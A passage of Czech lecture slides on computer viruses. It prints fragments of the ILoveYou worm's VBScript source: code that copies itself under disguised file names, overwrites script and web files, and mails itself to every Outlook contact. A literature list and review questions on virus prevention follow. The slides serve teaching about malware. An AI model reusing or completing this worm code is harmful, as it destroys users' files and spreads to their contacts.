Set dirwin = fso.GetSpecialFolder(0) … dokončení Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadto () listadriv() end sub ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or  (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true)

90 Počítačový virus ILoveYou
Část zajišťující šíření viru em sub spreadto () On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\  WAB\"&malead) pokračování …

91 Počítačový virus ILoveYou
if (regad="") then … dokončení set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,  a.AddressEntries.Count else Set out=Nothing Set mapi=Nothing end sub

92 Literatura http://www.viry.cz
Mrnuštík, J.: Viry 98 včetně makrovirů a antivirové ochrany sítí. Grada Publishing, Praha 1998. Klander, L.: Hacker Proof. Unis Publishing, Brno 1998.

93 Kontrolní otázky Srovnejte virus počítačový s virem biologickým.
Uveďte projevy počítačových virů. Mohou současné počítačové viry poškodit technické vybavení počítače? Zůstane virus uložen v operační paměti počítače i po jeho vypnutí? Zůstane virus uložen na pevném disku počítače i po jeho vypnutí? Uveďte způsoby prevence proti počítačovým virům. Uveďte klasifikaci počítačových virů podle napadených oblastí. Uveďte jednotlivé typy infiltrací počítačového systému a stručně je charakterizujte.